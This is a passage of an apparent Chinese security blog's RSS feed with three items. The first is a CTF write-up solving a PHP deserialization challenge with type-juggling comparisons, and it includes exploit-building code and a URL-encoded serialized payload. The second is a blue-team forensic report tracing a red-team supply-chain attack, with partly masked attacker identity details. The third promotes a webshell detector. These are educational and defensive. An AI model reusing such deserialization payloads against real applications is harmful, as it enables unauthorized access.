</description><pubDate>Thu, 09 Jan 2025 11:21:44 +0800</pubDate></item><item><title>【CTF】_DSBCTF_单身杯-好玩的PHP</title><link>https://www.caozhexxgweb.cn/?id=129</link><description>&lt;h1 id=&quot;h1-php-&quot;&gt;&lt;a name=&quot;PHP 类型比较绕过条件解析&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;PHP 类型比较绕过条件解析&lt;/h1&gt;&lt;p&gt;其实题目是通过利用 PHP 类型松散比较和严格比较的特性，一开始我想到md5碰撞去了，导致耽搁了很长时间，不过解完之后看官方wp才发现用NAN和INF也行。&lt;/p&gt;
&lt;h2 id=&quot;h2-u4EE3u7801u903Bu8F91u5206u6790&quot;&gt;&lt;a name=&quot;代码逻辑分析&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;代码逻辑分析&lt;/h2&gt;&lt;p&gt;以下是题目中的 PHP 代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
    error_reporting(0);
    highlight_file(__FILE__);

    class ctfshow {
        private $d = &amp;#39;&amp;#39;;
        private $s = &amp;#39;&amp;#39;;
        private $b = &amp;#39;&amp;#39;;
        private $ctf = &amp;#39;&amp;#39;;

        public function __destruct() {
            $this-&amp;gt;d = (string)$this-&amp;gt;d;
            $this-&amp;gt;s = (string)$this-&amp;gt;s;
            $this-&amp;gt;b = (string)$this-&amp;gt;b;

            if (($this-&amp;gt;d != $this-&amp;gt;s) &amp;amp;&amp;amp; ($this-&amp;gt;d != $this-&amp;gt;b) &amp;amp;&amp;amp; ($this-&amp;gt;s != $this-&amp;gt;b)) {
                $dsb = $this-&amp;gt;d . $this-&amp;gt;s . $this-&amp;gt;b;

                if ((strlen($dsb) &amp;lt;= 3) &amp;amp;&amp;amp; (strlen($this-&amp;gt;ctf) &amp;lt;= 3)) {
                    if (($dsb !== $this-&amp;gt;ctf) &amp;amp;&amp;amp; ($this-&amp;gt;ctf !== $dsb)) {
                        if (md5($dsb) === md5($this-&amp;gt;ctf)) {
                            echo file_get_contents(&amp;quot;/flag.txt&amp;quot;);
                        }
                    }
                }
            }
        }
    }

    unserialize($_GET[&amp;quot;dsbctf&amp;quot;]);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-u6761u4EF6u5206u6790&quot;&gt;&lt;a name=&quot;条件分析&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;条件分析&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;条件一&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;if (($this-&amp;gt;d != $this-&amp;gt;s) &amp;amp;&amp;amp; ($this-&amp;gt;d != $this-&amp;gt;b) &amp;amp;&amp;amp; ($this-&amp;gt;s != $this-&amp;gt;b))&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;这是松散比较 &lt;code&gt;!=&lt;/code&gt;，在 PHP 中会进行类型转换。&lt;/li&gt;&lt;li&gt;我们需要满足 &lt;code&gt;$d != $s&lt;/code&gt;，&lt;code&gt;$d != $b&lt;/code&gt;，&lt;code&gt;$s != $b&lt;/code&gt;。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;条件二&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;if ((strlen($dsb) &amp;lt;= 3) &amp;amp;&amp;amp; (strlen($this-&amp;gt;ctf) &amp;lt;= 3))&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$dsb = $this-&amp;gt;d . $this-&amp;gt;s . $this-&amp;gt;b;&lt;/code&gt;，且 &lt;code&gt;$ctf&lt;/code&gt; 的长度也要不超过3字符。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;条件三&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;if (($dsb !== $this-&amp;gt;ctf) &amp;amp;&amp;amp; ($this-&amp;gt;ctf !== $dsb))&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;使用严格比较 &lt;code&gt;!==&lt;/code&gt;，要求 &lt;code&gt;$dsb&lt;/code&gt; 和 &lt;code&gt;$ctf&lt;/code&gt; 的值和类型均不相同。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;条件四&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;if (md5($dsb) === md5($this-&amp;gt;ctf))&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;要求 &lt;code&gt;$dsb&lt;/code&gt; 和 &lt;code&gt;$ctf&lt;/code&gt; 的 &lt;code&gt;md5&lt;/code&gt; 值相等。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;/ol&gt;
&lt;h3 id=&quot;h3--php-&quot;&gt;&lt;a name=&quot;利用 PHP 类型特性进行条件绕过&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;利用 PHP 类型特性进行条件绕过&lt;/h3&gt;&lt;p&gt;在 PHP 中，&lt;code&gt;!=&lt;/code&gt; 会进行类型转换，而 &lt;code&gt;!==&lt;/code&gt; 不会转换类型，这意味着我们可以利用不同的类型来绕过条件。具体利用方法如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;设置值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$d = true;&lt;/code&gt; （布尔值 &lt;code&gt;true&lt;/code&gt;）&lt;/li&gt;&lt;li&gt;&lt;code&gt;$s = &amp;#39;0&amp;#39;;&lt;/code&gt; （字符串 &lt;code&gt;&amp;#39;0&amp;#39;&lt;/code&gt;）&lt;/li&gt;&lt;li&gt;&lt;code&gt;$b = null;&lt;/code&gt; （&lt;code&gt;null&lt;/code&gt; 值）&lt;/li&gt;&lt;li&gt;&lt;code&gt;$ctf = 10;&lt;/code&gt; （整数 &lt;code&gt;10&lt;/code&gt;）&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;分析值的效果&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$d = (string)true;&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;#39;1&amp;#39;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;$s = (string)&amp;#39;0&amp;#39;;&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;#39;0&amp;#39;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;$b = (string)null;&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;#39;&amp;#39;&lt;/code&gt;（空字符串）&lt;/li&gt;&lt;li&gt;&lt;code&gt;$dsb = &amp;#39;1&amp;#39; . &amp;#39;0&amp;#39; . &amp;#39;&amp;#39;&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;#39;10&amp;#39;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;验证各条件&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;条件一：松散比较&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$d != $s&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;#39;1&amp;#39; != &amp;#39;0&amp;#39;&lt;/code&gt;，成立。&lt;/li&gt;&lt;li&gt;&lt;code&gt;$d != $b&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;#39;1&amp;#39; != &amp;#39;&amp;#39;&lt;/code&gt;，成立。&lt;/li&gt;&lt;li&gt;&lt;code&gt;$s != $b&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;#39;0&amp;#39; != &amp;#39;&amp;#39;&lt;/code&gt;，成立。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;条件二：长度限制&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;strlen($dsb) = 2 &amp;lt;= 3&lt;/code&gt;，成立。&lt;/li&gt;&lt;li&gt;&lt;code&gt;strlen($ctf) = 2 &amp;lt;= 3&lt;/code&gt;，成立。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;条件三：严格不相等&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$dsb !== $ctf&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;#39;10&amp;#39; !== 10&lt;/code&gt;，成立。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;条件四：md5 碰撞&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;md5($dsb) === md5($ctf)&lt;/code&gt; =&amp;gt; &lt;code&gt;md5(&amp;#39;10&amp;#39;) === md5(10)&lt;/code&gt;，成立。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;/ol&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;h3 id=&quot;h3-u6784u9020u5E8Fu5217u5316u5BF9u8C61&quot;&gt;&lt;a name=&quot;构造序列化对象&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;构造序列化对象&lt;/h3&gt;&lt;p&gt;为了通过 URL 传递构造的值，我们需要序列化对象并使用反射来设置私有属性值，具体如下构造即可，用了反射来修改私有变量。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
class ctfshow {
    private $d = &amp;#39;&amp;#39;;
    private $s = &amp;#39;&amp;#39;;
    private $b = &amp;#39;&amp;#39;;
    private $ctf = &amp;#39;&amp;#39;;
}

// 创建对象
$object = new ctfshow();

// 使用反射机制设置私有属性的值
$refClass = new ReflectionClass($object);
$properties = [&amp;#39;d&amp;#39; =&amp;gt; true, &amp;#39;s&amp;#39; =&amp;gt; &amp;#39;0&amp;#39;, &amp;#39;b&amp;#39; =&amp;gt; null, &amp;#39;ctf&amp;#39; =&amp;gt; 10];
foreach ($properties as $prop =&amp;gt; $value) {
    $property = $refClass-&amp;gt;getProperty($prop);
    $property-&amp;gt;setAccessible(true);
    $property-&amp;gt;setValue($object, $value);
}

// 序列化对象
$serialized = serialize($object);

// 输出序列化字符串
echo &amp;quot;序列化字符串：\n&amp;quot; . $serialized . &amp;quot;\n&amp;quot;;

// 将序列化字符串URL编码，构造GET参数
$url_encoded = urlencode($serialized);

echo &amp;quot;访问链接：https://d7be3d64-2226-40ed-bc20-e99e29267ba6.challenge.ctf.show//?dsbctf=&amp;quot; . $url_encoded . &amp;quot;\n&amp;quot;;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-u6700u540Eu8F93u51FA&quot;&gt;&lt;a name=&quot;最后输出&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;最后输出&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;[root@iZbp1ivn9mqkymzqbqnubsZ cz.caozhexxgweb.cn]# php look.php 
序列化字符串：
O:7:&amp;quot;ctfshow&amp;quot;:4:{s:10:&amp;quot;ctfshowd&amp;quot;;b:1;s:10:&amp;quot;ctfshows&amp;quot;;s:1:&amp;quot;0&amp;quot;;s:10:&amp;quot;ctfshowb&amp;quot;;N;s:12:&amp;quot;ctfshowctf&amp;quot;;i:10;}
访问链接：https://d7be3d64-2226-40ed-bc20-e99e29267ba6.challenge.ctf.show/?dsbctf=O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bb%3A1%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%220%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3BN%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bi%3A10%3B%7D
[root@iZbp1ivn9mqkymzqbqnubsZ cz.caozhexxgweb.cn]# &lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&quot;h1--ctf-&quot;&gt;&lt;a name=&quot;得到CTF值，完成&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;得到CTF值，完成&lt;/h1&gt;&lt;p&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411131319138799286.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
</description><pubDate>Wed, 13 Nov 2024 13:13:42 +0800</pubDate></item><item><title>【护网实战】一次红队供应链攻击的溯源</title><link>https://www.caozhexxgweb.cn/?id=127</link><description>&lt;h1 id=&quot;h1--&quot;&gt;&lt;a name=&quot;【溯源实战】一次红队供应链攻击的溯源&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;【溯源实战】一次红队供应链攻击的溯源&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;这次国家级护网项目最特殊的攻击，供应链攻击，感觉值得记录一下，其中攻击者的反侦察手段很高超，清空了大量有关日志和数据，可惜遇上了精通数据恢复的博主 嘿嘿&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;后期还联系上了那次供应链红队的人，我们的蓝队排查安排了经典案例，他说他的案例也被安排了经典案例&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;敏感信息太多用x和马赛克来隐藏，可能影响观看，见谅&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;markdown-toc editormd-markdown-toc&quot;&gt;[TOC]&lt;/div&gt;&lt;p&gt;通过某安全设备，发现攻击者源IP【124.64.xx.xx】攻击招标平台，【60.205.xxx.xx】-&amp;gt;跳板机【10.1.84.90，10.1.84.30】，对攻击源IP进行溯源信息如下：&lt;/p&gt;
&lt;h2 id=&quot;h2-u521Du6B65u6EAFu6E90&quot;&gt;&lt;a name=&quot;初步溯源&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;初步溯源&lt;/h2&gt;&lt;p&gt;IP：60.205.xxx.xx&lt;br&gt;域名：puyxxx.com，weilxxxxx.com&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011649113231717.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;IP：124.64.xx.xx&lt;br&gt;姓名：郭xx&lt;br&gt;手机：138xxxxxxxx&lt;br&gt;邮箱：&lt;a href=&quot;mailto:gxxxxx@163.com&quot;&quot;&gt;gxxxxx&amp;#64;163.com&lt;/a&gt;&lt;br&gt;域名：&lt;a href=&quot;http://www.utpxx.xx&quot;&gt;www.utpxx.xx&lt;/a&gt;&lt;br&gt;具体溯源路径如下：&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011648172637814.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;通过攻击者攻击ip，发现【域名】与域名注册者【姓名邮箱】&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011650238731231.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;h2-u5224u65ADu653Bu51FBu5F71u54CDu9762&quot;&gt;&lt;a name=&quot;判断攻击影响面&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;判断攻击影响面&lt;/h2&gt;&lt;p&gt;两台内网设备是&lt;br&gt;IP【10.1.84.30】，地址位置为【北楼8层办公室】为办公网终端&lt;br&gt;IP【10.1.84.90】，地址位置为【北楼8层办公室】为办公网终端&lt;/p&gt;
&lt;h2 id=&quot;h2-u68B3u7406u653Bu51FBu8DEFu5F84&quot;&gt;&lt;a name=&quot;梳理攻击路径&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;梳理攻击路径&lt;/h2&gt;&lt;p&gt;攻击内网全路径行为如下&lt;br&gt;【攻击源「124.64.xx.xx」，通过「爆破、弱口令」手法，拿下「有色招采系统测试用户」，系统IP为47.95.xxx.xxx】&lt;br&gt;【攻击源「60.205.xxx.xx」，猜测通过「爆破、弱口令」手法，拿下「国信创新运营中心登录权限」，系统IP为47.95.xx.x】&lt;br&gt;【攻击源「60.205.xxx.xx」，通过xx创新运营中心平台进行下发软件更新任务&lt;strong&gt;将恶意软件作为更新目标&lt;/strong&gt;的供应的链打击攻击手法，拿下两台内网终端，系统IP为10.1.84.90、10.1.84.30】&lt;br&gt;【攻击源「60.205.xxx.xx」-&amp;gt;「10.1.84.90、10.1.84.30」，拖取系统cookie等敏感信息】&lt;br&gt;【攻击源攻击源「60.205.xxx.xx」-&amp;gt;「10.1.84.90、10.1.84.30」，开始对内网发起横向】&lt;/p&gt;
&lt;p&gt;攻击路径详细证明如下：&lt;br&gt;【攻击源「124.64.xx.xxx」，通过「弱口令」手法，拿下「xx招采系统测试用户」，系统IP为47.95.xxx.xxx】，相关截图如下：&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011655332626190.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现四川成都的ip有过异常报错事件，并且使用safari浏览器(apple)，一般国企是不会用mac的&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011656358893099.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现系统内部有test6定时任务询问相关软件运营表示未设置，查看日志表示攻击者使用ip【124.64.23.244】创建的计划任务&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011657003949203.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011657225503797.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;h2-u4E0Au88ABu63A7u673Au5206u6790&quot;&gt;&lt;a name=&quot;上被控机分析&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;上被控机分析&lt;/h2&gt;&lt;p&gt;根据上面的信息，我们重新梳理一波攻击者的攻击路径&lt;/p&gt;
&lt;p&gt;【攻击源「60.205.xxx.xx」，推测通过「爆破、弱口令」手法，拿下「国信创新运营中心登录权限」，系统IP为47.95.xx.x】相关描述如下：&lt;br&gt;    时间【2022/7/29 08:43】开始，国贸公司员工发现软件需要更新。也就是受到供应链攻击的第一时间。恶意软件下发者为供应链上游，推测攻击者通过「爆破、弱口令」手法，拿下「xx创新运营中心登录权限」。&lt;br&gt;【攻击源「60.205.xxx.xx」，通过xx创新运营中心平台进行下发恶意软件供应的链打击攻击手法，拿下两台内网终端，系统IP为10.1.84.90、10.1.84.30】相关截图如下：&lt;/p&gt;
&lt;h4 id=&quot;h4--&quot;&gt;&lt;a name=&quot;攻击者触发的更新公告:&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;攻击者触发的更新公告:&lt;/h4&gt;&lt;p&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011659059307693.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;h3-u5185u7F51u871Cu7F50u6355u83B7u5230u5185u7F51u653Bu51FBu6D41u91CF&quot;&gt;&lt;a name=&quot;内网蜜罐捕获到内网攻击流量&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;内网蜜罐捕获到内网攻击流量&lt;/h3&gt;&lt;p&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011659437184674.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;h3--&quot;&gt;&lt;a name=&quot;找出攻击者被删掉的尾巴-数据恢复手段&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;找出攻击者被删掉的尾巴-数据恢复手段&lt;/h3&gt;&lt;p&gt;启动抓包软件分析，发现客户端启动时会请求xx创新运营中心服务器的最新版本接口。&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011701183407023.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;打开客户端日志，未发现有特殊的日志&lt;br&gt;通过winhex电子取证软件打开，发现一处被删除的文件日志的文件记录表项&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011702173100862.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;跳转到目录表项的指定扇区，尝试导出删除文件后发现是7月29日本次更新的log&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011702419283839.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;将被删除的日志恢复&lt;br&gt;分析本地客户端更新日志，发现在【2022/7/29 15:57】更新了版本信息。但是和供应方沟通，表示并无更新，所以本次更新行为属于供应链打击。&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011703333894946.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;由于攻击者尾巴收拾的很干净，于是直接通过数据恢复手段继续挖掘跟新包&lt;br&gt;搜索发现7月29日有更新并且文件被删除，并且文件指针指向空地址&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011704467639542.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;继续通过winhex分析，向上搜索4D5A的MZ文件，发现开头的疑似exe文件，大致推断是删除exe时重写写入新的exe覆盖了原有的NTFS $MFT元文件中的文件记录表指针&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011705049093903.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011705135363962.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;尝试恢复此exe文件后发现是恶意文件，并有回连地址【60.205.xxx.xx】&lt;br&gt;到此就抓住了攻击者企图删除的所有文件&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011706411268849.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011706544574527.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;h2-u7EE7u7EEDu6316u6398u653Bu51FBu8005u5728u88ABu63A7u673Au5668u4E0Au7684u64CDu4F5C&quot;&gt;&lt;a name=&quot;继续挖掘攻击者在被控机器上的操作&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;继续挖掘攻击者在被控机器上的操作&lt;/h2&gt;&lt;p&gt;【攻击源「60.205.179.97」-&amp;gt;「10.1.84.90、10.1.84.30」，拖取系统cookie等敏感信息】&lt;br&gt;在【07月29日17&amp;#58;27&amp;#58;19-07月29日17&amp;#58;27&amp;#58;38】期间拖取浏览器cookie&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011708346047185.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;发现xxx.xxxx.com.cn与&lt;a href=&quot;http://www.xxxx.com.cn的cookie被窃取&quot;&gt;www.xxxx.com.cn的cookie被窃取&lt;/a&gt;&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011708416250249.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在跳板机【10.1.84.90、10.1.84.30】发现浏览器本地数据库被拷贝到，拖取系统cookie同一目录下，应该是用了某种工具&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011709043756086.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011709133577000.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;分析后发现攻击者拿取到的是浏览器下载文件列表，浏览记录，账密等敏感信息（完了，这回红队拿大分了）&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011709502901605.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;【攻击源攻击源「60.205.179.97」-&amp;gt;「10.1.84.90、10.1.84.30」，开始对内网发起横向】&lt;br&gt;10.1.84.30踩蜜罐+web目录扫描&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011710106096012.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;10.1.84.90踩蜜罐&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2024/11/202411011710245123845.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;到这就结束了整个共计还算控制的及时，没被拿到太多的机器&lt;/p&gt;
</description><pubDate>Fri, 01 Nov 2024 16:38:56 +0800</pubDate></item><item><title>【推荐】昆吾webshell检测</title><link>https://www.caozhexxgweb.cn/?id=128</link><description>&lt;p&gt;这个项目是我和某先生合作的，在默安的名下开发的检测平台，这里做个推广，有需要可以直接访问下面链接进行使用，支持saas版本和客户端版本：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://ti.moresec.cn/&quot;&gt;https://ti.moresec.cn/&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://github.com/kunwu2023/kunwu&quot;&gt;https://github.com/kunwu2023/kunwu&lt;/a&gt;&lt;/p&gt;
</description><pubDate>Thu, 11 Jul 2024 14:52:32 +0800</pubDate></item></channel></rss>